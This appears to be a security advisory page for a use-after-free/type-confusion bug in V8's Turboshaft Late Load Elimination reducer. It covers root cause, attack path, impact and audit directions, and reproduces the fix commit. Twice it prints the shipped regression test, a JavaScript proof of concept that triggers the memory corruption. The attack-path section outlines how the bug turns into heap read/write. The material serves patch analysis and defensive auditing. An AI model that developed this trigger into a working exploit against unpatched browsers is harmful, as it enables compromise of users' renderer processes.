High chrome UAF 🔧 Commit mapped

Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in V8
DescriptionUse after free in V8
ComponentV8
Bug ClassUAF
Tracker554421904
Fix commit7e94f5ffc104 (v8/v8) +68/-11
CISA KEVNot listed
CreditedStinkyTuna56
Disclosed2026-09-08

Background

Turboshaft
V8’s newer optimizing compiler intermediate representation and pipeline, successor to the older Turbofan sea-of-nodes graph.
Late Load Elimination (`LLE`)
a Turboshaft reducer (late-load-elimination-reducer.cc) that removes redundant memory loads by tracking which objects alias and which stored values remain valid.
`can_write` effect
an operation effect flag that, despite its name, means “can write to already-allocated memory” and explicitly excludes writes to memory the operation itself allocates.
Aliasing / non-aliasing objects
LLE tracks whether an SSA value can point to the same heap object as another value (non_aliasing_objects_), so it knows which cached loads a call may invalidate.

Root Cause Analysis

In ProcessCall, the reducer took an early bailout if (!op.Effects().can_write()) that returned before calling InvalidateAllNonAliasingInputs(op), on the assumption that a call which does not write to pre-existing memory cannot invalidate LLE’s cached state. This violated the invariant that can_write excludes memory the call itself allocates: a builtin that allocates a fresh object and copies its inputs into that object creates new aliases to those inputs even while being marked !can_write(). Because those inputs were never invalidated, LLE continued to treat previously-cached loads as still valid, letting it eliminate or mis-predict loads/stores against an object whose backing store had actually changed (e.g. a length or elements-kind transition), producing a type-confused, dangling reference.

The fix reorders the logic so InvalidateAllNonAliasingInputs(op) runs first, and only then performs the can_write bailout, ensuring alias-creating-but-non-writing calls still invalidate their inputs. The known fresh-object builtin (Builtin::kCreateShallowObjectLiteral) is handled with an explicit early return before invalidation since it provably does not alias its inputs.

Key insight
The single core mistake was treating !can_write() as “cannot affect LLE state” when it only means “does not write to pre-existing memory,” ignoring that such a call can still allocate and alias its inputs; the fix moves InvalidateAllNonAliasingInputs ahead of the can_write bailout so those aliases are always invalidated.

Attack Path

  1. Prime feedback Warm up victim and its helpers (set0, set7, carrier) with representative arrays so the array elements-kind and shapes stabilize before optimization.
  2. Route through a max-arg bound call Invoke boundCarrier (a carrier.bind with 32765 bound args, hitting kMaxArguments) which allocates/spreads arguments and passes staleArray through a call marked !can_write() that nonetheless aliases it.
  3. Optimize the victim Force %OptimizeFunctionOnNextCall(victim), causing Turboshaft’s LLE to skip invalidating staleArray after the aliasing call and keep stale cached load assumptions about its length/elements.
  4. Trigger the type confusion Run victim(1.1) so set7(staleArray, payload) writes past what the optimized code believes is the array’s bound/backing store, corrupting an adjacent object’s length or elements pointer.
  5. Exploit the dangling access Use the resulting mismatched target/staleArray state (e.g. target.length reported as 0 while memory is writable) to read or write freed/out-of-bounds heap memory.

Impact Assessment

An attacker who runs crafted JavaScript in the renderer gains a use-after-free / type confusion in the V8 heap, yielding out-of-bounds or dangling memory read/write inside the renderer process. Exploitation requires only that the victim function be JIT-compiled by Turboshaft (achievable from a web page via normal hot-loop execution, no natives syntax needed in the wild); the PoC uses --allow-natives-syntax only to force optimization deterministically. This is a strong primitive typically chained toward arbitrary read/write and renderer RCE within the sandbox.

Changed Functions

FunctionChangeNotes
if
src/compiler/turboshaft/late-load-elimination-reducer.cc
modified
switch
src/compiler/turboshaft/late-load-elimination-reducer.cc
modified

Files Changed

  • src/compiler/turboshaft/late-load-elimination-reducer.cc
  • test/mjsunit/mjsunit.status
  • test/mjsunit/turboshaft/regress-554421904.js

Audit Directions

  • Effect-flag semantics
    Audit every use of can_write, can_read, and related effect predicates as bailout conditions, since their names understate what they exclude (self-allocated memory) and misuse silently drops required invalidations.
  • Alias creation on allocation
    Flag any optimization that skips alias/memory invalidation for calls or builtins deemed “non-writing” or “fresh-returning” without verifying they cannot copy inputs into newly allocated objects.
  • Invalidate-before-bailout ordering
    Review reducers where an early return precedes state-invalidation calls; confirm no invalidation that must run for all reachable operations is short-circuited by an effect-based early exit.
From 7e94f5ffc1041f9c37b5a9db38c54b149b9f0332 Mon Sep 17 00:00:00 2001
From: Darius Mercadier <[email protected]>
Date: Wed, 02 Sep 2026 12:10:22 +0200
Subject: [PATCH] [turboshaft] LLE: non-writing calls can create aliases

The can_write effect really means "can_write to pre-existing memory"
and excludes memory allocated by the operation itself. A builtin that
allocates memory and writes to it (but nowhere else) can thus be
marked as !can_write(), but it could still create aliases to its
inputs, which we do need to invalidate when processing it.

Fixed: 554421904
Change-Id: I8045ec40d2819d9ab92795b2352374a0df20cbc8
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8345010
Auto-Submit: Darius Mercadier <[email protected]>
Reviewed-by: Leszek Swirski <[email protected]>
Commit-Queue: Leszek Swirski <[email protected]>
Cr-Commit-Position: refs/heads/main@{#109635}
---

diff --git a/src/compiler/turboshaft/late-load-elimination-reducer.cc b/src/compiler/turboshaft/late-load-elimination-reducer.cc
index 7b78d3f..d9e386f 100644
--- a/src/compiler/turboshaft/late-load-elimination-reducer.cc
+++ b/src/compiler/turboshaft/late-load-elimination-reducer.cc
@@ -566,28 +566,32 @@
   // Some builtins do not create aliases and do not invalidate existing
   // memory, and some even return fresh objects. For such cases, we don't
   // invalidate the state, and record the non-alias if any.
-  if (!op.Effects().can_write()) {
-    TRACE(">> Call doesn't write, skipping");
-    return;
-  }
-
   auto builtin_id = TryGetBuiltinId(callee.TryCast<ConstantOp>(), broker_);
-
-  // Not a builtin call, or not a builtin that we know doesn't invalidate
-  // memory.
-  InvalidateAllNonAliasingInputs(op);
-
   if (builtin_id) {
     switch (*builtin_id) {
       case Builtin::kCreateShallowObjectLiteral:
         // This builtin creates a fresh non-aliasing object.
         non_aliasing_objects_.Set(op_idx, true);
-        break;
+        return;
       default:
         break;
     }
   }
 
+  // Not a builtin call, or not a builtin that we know doesn't invalidate
+  // memory.
+  InvalidateAllNonAliasingInputs(op);
+
+  // Keep in mind that "can_write" really means "can write to already allocated
+  // memory" and excludes writes to memory that the call itself allocates.
+  // Hence, InvalidateAllNonAliasingInputs must be called before this can_write
+  // bailout, to account for the fact that some builtins may create fresh
+  // objects that copy their inputs, thus creating aliases.
+  if (!op.Effects().can_write()) {
+    TRACE(">> Call doesn't write, skipping");
+    return;
+  }
+
   // The call could modify arbitrary memory, so we invalidate every
   // potentially-aliasing object.
   memory_.InvalidateMaybeAliasing();
diff --git a/test/mjsunit/mjsunit.status b/test/mjsunit/mjsunit.status
index d06afbb..4cc9065 100644
--- a/test/mjsunit/mjsunit.status
+++ b/test/mjsunit/mjsunit.status
@@ -76,6 +76,7 @@
 
   'turbolev/regress-532607231': [PASS, SLOW],
   'turbolev/regress-540717862': [PASS, SLOW],
+  'turboshaft/regress-554421904': [PASS, SLOW],
 
   # https://crbug.com/1129854
   'tools/log': ['arch == arm or arch == arm64', SKIP],
diff --git a/test/mjsunit/turboshaft/regress-554421904.js b/test/mjsunit/turboshaft/regress-554421904.js
new file mode 100644
index 0000000..1635e70
--- /dev/null
+++ b/test/mjsunit/turboshaft/regress-554421904.js
@@ -0,0 +1,52 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+function set7(arr, v) { arr[7] = v; }
+function set0(arr, v) { arr[0] = v; }
+function carrier(...rest) {
+  const receiver = rest[32765] ? rest[32766] : doubleArray;
+  set0(receiver, 1.1);
+}
+function victim(payload) {
+  const staleArray = Array(8);
+  const target = [];
+  if (!trigger) staleArray.x = 0;
+  boundCarrier(trigger, staleArray);
+  set7(staleArray, payload);
+  return { target, staleArray };
+}
+
+%PrepareFunctionForOptimization(set0);
+%PrepareFunctionForOptimization(set7);
+%PrepareFunctionForOptimization(carrier);
+%PrepareFunctionForOptimization(victim);
+
+const doubleArray = Array(8);
+set0(doubleArray, 1.1);
+set7(doubleArray, 0);
+set0(Array(8), 0);
+
+// 32765 bound arguments + 2 call arguments = 32767 (kMaxArguments).
+const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));
+
+let trigger = 0;
+victim(0);
+
+trigger = 1;
+boundCarrier(trigger, doubleArray);
+
+trigger = 0;
+victim(0);
+
+%OptimizeFunctionOnNextCall(victim);
+trigger = 1;
+const { target, staleArray } = victim(1.1);
+
+assertEquals(0, target.length);
+target[0] = 1;
+
+assertEquals(1.1, staleArray[0]);
+assertEquals(1.1, staleArray[7]);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/mjsunit.status b/test/mjsunit/mjsunit.status
index d06afbb..4cc9065 100644
--- a/test/mjsunit/mjsunit.status
+++ b/test/mjsunit/mjsunit.status
@@ -76,6 +76,7 @@
 
   'turbolev/regress-532607231': [PASS, SLOW],
   'turbolev/regress-540717862': [PASS, SLOW],
+  'turboshaft/regress-554421904': [PASS, SLOW],
 
   # https://crbug.com/1129854
   'tools/log': ['arch == arm or arch == arm64', SKIP],
diff --git a/test/mjsunit/turboshaft/regress-554421904.js b/test/mjsunit/turboshaft/regress-554421904.js
new file mode 100644
index 0000000..1635e70
--- /dev/null
+++ b/test/mjsunit/turboshaft/regress-554421904.js
@@ -0,0 +1,52 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+function set7(arr, v) { arr[7] = v; }
+function set0(arr, v) { arr[0] = v; }
+function carrier(...rest) {
+  const receiver = rest[32765] ? rest[32766] : doubleArray;
+  set0(receiver, 1.1);
+}
+function victim(payload) {
+  const staleArray = Array(8);
+  const target = [];
+  if (!trigger) staleArray.x = 0;
+  boundCarrier(trigger, staleArray);
+  set7(staleArray, payload);
+  return { target, staleArray };
+}
+
+%PrepareFunctionForOptimization(set0);
+%PrepareFunctionForOptimization(set7);
+%PrepareFunctionForOptimization(carrier);
+%PrepareFunctionForOptimization(victim);
+
+const doubleArray = Array(8);
+set0(doubleArray, 1.1);
+set7(doubleArray, 0);
+set0(Array(8), 0);
+
+// 32765 bound arguments + 2 call arguments = 32767 (kMaxArguments).
+const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));
+
+let trigger = 0;
+victim(0);
+
+trigger = 1;
+boundCarrier(trigger, doubleArray);
+
+trigger = 0;
+victim(0);
+
+%OptimizeFunctionOnNextCall(victim);
+trigger = 1;
+const { target, staleArray } = victim(1.1);
+
+assertEquals(0, target.length);
+target[0] = 1;
+
+assertEquals(1.1, staleArray[0]);
+assertEquals(1.1, staleArray[7]);
Loading diff…

Original Bug Report

The reporter's bug is still restricted on the tracker. Chrome de-restricts security bugs ~30–90 days after the fix ships; a later run will backfill it here.